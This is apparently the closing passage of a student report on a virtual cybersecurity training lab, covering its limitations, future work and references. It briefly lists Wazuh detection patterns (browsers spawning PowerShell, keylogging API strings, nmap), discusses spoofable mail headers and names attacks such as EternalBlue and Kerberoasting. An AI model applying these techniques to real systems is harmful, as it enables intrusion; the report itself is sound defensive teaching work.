The usability and effectiveness of this project are constricted in several ways. The first is that demonstrability is not necessarily security. The secure snapshot is only secure against the specific attacks we explored in Section #3. The malicious-behavior detection rules configured in Wazuh are a small set focused on a few known-bad patterns like process creation from suspicious paths, browsers spawning PowerShell instances, the literal string 'GetAsyncKeyState', and the literal binary name 'nmap'. A determined attacker who avoids these exact patterns

will not trigger active-response. Broad and effective rule detection, while avoiding alert fatigue and general false-positives, requires significant time and effort and is only glimpsed in this project.

The phishing simulation's sender-verification mechanism stamps outbound mail with a header ('X-KK-Sender') identifying the sending task's authenticated identity, enabling Larry to distinguish a spoofed internal address from a genuine account compromise. The mechanism serves its intended purpose against this project's current phishing demonstration scripts as they do not set this header (spoofed emails lack it, while emails generated by a character's task carry it). This should not be read as a general anti-spoofing control, however. The header is self-reported by the sending script and is not validated, signed, or stripped by MailEnable, so there is no guarantee that an aware attacker did not forge the 'From:' address itself. A related consequence is that a missing stamp is read by Larry as evidence of spoofing rather than as inconclusive: if an account were signed into via the MailEnable web interface, any emails sent would also lack the stamp and would be misclassified as spoofed rather than as compromised. This is an implementation of a well-known pattern in application security in which a client-supplied header is trusted as fact unless some other trusted source strips it and re-asserts it. For example, with the 'X-Forwarded-For' header in web architecture any client can set its origin IP, but it only becomes trustworthy when the receiving infrastructure is configured to discard it and set the header itself. 'X-KK-Sender' has a similar structure: a header asserting an identity, meaningful only if something the sender cannot control is what actually sets it. Microsoft

Exchange's 'X-MS-Exchange-Organization-AuthAs' header is one specific instance of this concept applied to mail, such that the mail transfer agent itself stamps the header after authentication, rather than trusting whatever the submitting client claims. As a step toward that gap, 'Send-KKMail' authenticates to MailEnable via 'SMTP AUTH' using each character's own credentials, rather than submitting anonymously. While this is important, because MailEnable is configured to permit anonymous relay in the environment, unauthenticated external senders can still submit forged mail. 'SMTP AUTH' does still ensure the simulation's own legitimate traffic can be verified.

The tools deployed in this project are intentionally free-grade. There are no commercial tools in use, which while ideal for replicability, limit the educational benefits of exploring more common paid tools and the project's initial goal of representing a typical enterprise environment.

Additionally, the scope of attacks explored in this report is narrow. Three attacks and secure configurations, while useful, are not an in-depth review of the environment. This project would have benefited from exploration of attacks like Kerberoasting, NTLM relay, AS-REP roasting, and ADCS abuse.

A limitation in the reproducibility of this environment was identified with VirtualBox Guest Additions. Throughout the process of provisioning the machines for this environment, attempting to set up Guest Additions for shared clipboard and window resizing features proved to be a time consuming task, as the typical process often failed, and remediation steps seemed to vary. While we made attempts to document the steps we took to enable Guest Additions, it is

possible that our steps may not reproduce success for everyone else. For this reason, we recommend using pre-built virtual machines for VirtualBox (e.g., our Kali Linux machine for blueTeamSOCVM) where possible.

#### *4.4. Future*

The Krusty Krab Lab was born out of curiosity and is meant for exploration. The biggest implication we foresee for this project is its potential to be utilized in cybersecurity education. The environment could be packaged with pre-built VDIs, a dedicated deployment guide, prepared exercises with attack scenarios, and instructor materials. The combination of replicability, snapshot-based recovery, and disposability lend themselves to the pedagogical-nature of this project.

Expanded demonstration of transport-layer vulnerabilities. While the current secure implementation of WordPress remediates the plain-text transmission of user credentials through the implementation of HTTPS, we did not demonstrate the vulnerability associated with HTTP in the base configuration. A user signing into the WordPress intranet over HTTP transmits credentials in plain-text in the 'POST' request body, recoverable by any attacker with network visibility. Capturing network traffic using Wireshark from a base-snapshot sign in showing the credentials in plain-text, contrasted with a secure-snapshot capture showing TLS-encrypted data and no recoverable credentials would extend Section #3 with a scenario whose remediation is already documented and operational in the lab. The same demonstration could be repeated for any other plain-text application-layer protocol in the environment (IMAP/POP3 versus

IMAPS/POP3S for MailEnable, LDAP versus LDAPS for the WordPress directory binding, SMTP submission versus SMTPS) to make a broader point regarding encryption.

The generation of log data-sets through Wazuh telemetry of the environment under different attacks and under base-line conditions would constitute valuable training data for detection and remediation tools and machine-learning research.

There is much opportunity to practice creating GPOs and configuring Active Directory to better secure domain resources, vital to the management of any modern LAN environment. A more mature secure baseline would include account lock-out policies, password policies, implementation of service accounts and the least-privilege model, centralized Windows Update and configuration management policies, and more.

Another area with huge potential for future exploration, as discussed in [Section 4.3](#), is the Wazuh active-response rule configuration. Expanding the detection capabilities of the Wazuh implementation via custom rules as well as community rule-sets and testing them against popular and modern malicious behavior, and avoiding high false-positive rates, would seriously benefit this project.

Also mentioned in [Section 4.2](#) is the need for a proper solution for malicious email spoofing for the MailEnable implementation. The current firewall-based solution should be replaced with a proper authentication model for

the simulated domain while permitting legitimate spoofing, possibly involving a replacement mail service.

It would be beneficial to introduce more services and environmental complexity, possibly as a tiered set of snapshots in an educational setting, in order to more accurately represent a modern LAN environment. The introduction of file shares, print servers, database servers with realistic data, and an internal certificate authority would increase attack surface and present opportunity for launching more complex attacks. This would unfortunately exacerbate the time and resource costs already identified as significant.

Somewhat lacking in the current version of this project is the vulnerability identification logic. While OpenVAS exists on blueTeamSOCVM, adding popular alternative tools (E.g., Nessus), and researching vulnerabilities missed by the tools would be an interesting direction for this project.

Almost any future iteration of this project stands to be more capable and valuable than the version delivered here, which rather than a bad sign, we consider to be an indicator of success. In spite of all the time and effort we spent on this project, the support for growth makes clear that this project will not out-grow us any time soon, and itself may be a tool in our careers for the foreseeable future.

# References

## References

- [1] Amazon Web Services, "Amazon EC2 — Secure and Resizable Compute Capacity," Amazon Web Services, Inc. [Online]. Available: <https://aws.amazon.com/ec2/>. [Accessed: June 2026].
- [2] angristan (S. Lange), "openvpn-install," GitHub, commit 86a6d2d3e7715fac982657826202518d29e8af95. [Online]. Available: <https://github.com/angristan/openvpn-install/tree/86a6d2d3e7715fac982657826202518d29e8af95>. [Accessed: June 2026].
- [3] Oracle Corporation, "Chapter 1. Snapshots," Oracle VM VirtualBox User Manual, Version 6.0. [Online]. Available: <https://docs.oracle.com/en/virtualization/virtualbox/6.0/user/snapshots.html>. [Accessed: June 2026].
- [4] Microsoft Corporation, "Evaluate Windows Server 2016," Microsoft Evaluation Center. [Online]. Available: <https://www.microsoft.com/en-us/evalcenter/download-windows-server-2016>. [Accessed: June 2026].
- [5] Canonical Ltd., "Ubuntu Releases," Ubuntu. [Online]. Available: <https://releases.ubuntu.com/>. [Accessed: June 2026].

[6] Xubuntu Team, "Xubuntu Download," Xubuntu. [Online]. Available:

<https://xubuntu.org/download/>. [Accessed: June 2026].

[7] Microsoft Corporation, "Windows 7 Professional x64,"

[Software], 2009, archived by jolk, Internet Archive,

June 20, 2020. [Online]. Available:

[https://archive.org/details/Windows\\_7\\_Professional\\_x64.iso](https://archive.org/details/Windows_7_Professional_x64.iso). [Accessed: June 2026].

[8] OfSec, "Get Kali Linux," Kali Linux. [Online]. Available: <https://www.kali.org/get-kali/>.

[Accessed: June 2026].

[9] MailEnable Pty Ltd., "MailEnable Downloads," MailEnable. [Online]. Available:

<https://www.mailenable.com/download.asp>. [Accessed: June 2026].

[10] WordPress Foundation, "Download WordPress," WordPress.org. [Online]. Available:

<https://wordpress.org/download/>. [Accessed: June 2026].

[11] OpenVPN Inc., "OpenVPN Community Downloads," build.openvpn.net. [Online].

Available: <https://build.openvpn.net/downloads/releases/>. [Accessed: June 2026].

[12] Microsoft Corporation, "Sysmon v15.x," Microsoft Sysinternals. [Online]. Available:

<https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon>. [Accessed: June 2026].

[13] Internet Archive, "Archived snapshot of Sysmon v13.x documentation," Wayback Machine, 10 April 2021. [Online]. Available: <https://web.archive.org/web/20210410215018/https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>. [Accessed: June 2026].

[14] Wazuh Inc., "Wazuh — The Open Source Security Platform," Wazuh Documentation. [Online]. Available: <https://documentation.wazuh.com/current/>. [Accessed: June 2026].

[15] Microsoft Corporation, "Microsoft Security Bulletin MS17-010 — Critical," Microsoft Security Response Center, 14 March 2017. [Online]. Available: <https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010>. [Accessed: June 2026].

[16] rapid7, "EternalBlue SMB Remote Windows Kernel Pool Corruption," Metasploit Framework, exploit/windows/smb/ms17\_010\_eternalblue. [Online]. Available: [https://www.rapid7.com/db/modules/exploit/windows/smb/ms17\\_010\\_eternalblue/](https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/). [Accessed: June 2026].

[17] rapid7, "Metasploit Framework," Rapid7. [Online]. Available: <https://www.metasploit.com/>. [Accessed: June 2026].

[18] gkbrk, "gkbrk/slowloris," GitHub. [Online]. Available: <https://github.com/gkbrk/slowloris>. [Accessed: June 2026].

[19] Microsoft Corporation, "WannaCrypt ransomware worm targets out-of-date systems," Microsoft Security Response Center Blog, 12 May 2017. [Online]. Available: <https://msrc.microsoft.com/blog/2017/05/wannacrypt-ransomware-worm-targets-out-of-date-systems/>. [Accessed: June 2026].

[20] Microsoft Corporation, "Download Windows 10," Microsoft. [Online]. Available: <https://www.microsoft.com/en-us/software-download/windows10>. [Accessed: June 2026].

[21] Pallets Projects, "Flask," PyPI. [Online]. Available: <https://pypi.org/project/flask/>. [Accessed: June 2026].

[22] Mozilla Foundation, "Firefox Release Archive," archive.mozilla.org. [Online]. Available: <https://archive.mozilla.org/pub/firefox/releases/>. [Accessed: June 2026].

[23] iphelix, "dnscchef," GitHub. [Online]. Available: <https://github.com/iphelix/dnscchef>. [Accessed: June 2026].

[24] Oracle Corporation, "VirtualBox," Oracle VM VirtualBox. [Online]. Available: <https://www.virtualbox.org/>. [Accessed: June 2026].

[25] SwiftOnSecurity, "sysmon-config," GitHub. [Online]. Available: <https://github.com/SwiftOnSecurity/sysmon-config>. [Accessed: June 2026].

[26] Anthropic, "Claude API," Anthropic. [Online]. Available: <https://www.anthropic.com/api>. [Accessed: June 2026].

[27] Elastic N.V., "Filebeat: Lightweight Shipper for Logs," Elastic. [Online]. Available: <https://www.elastic.co/beats/filebeat>. [Accessed: August 2026].

[28] Greenbone AG, "OPENVAS - Open Vulnerability Assessment Scanner," Greenbone. [Online]. Available: <https://www.openvas.org/>. [Accessed: August 2026].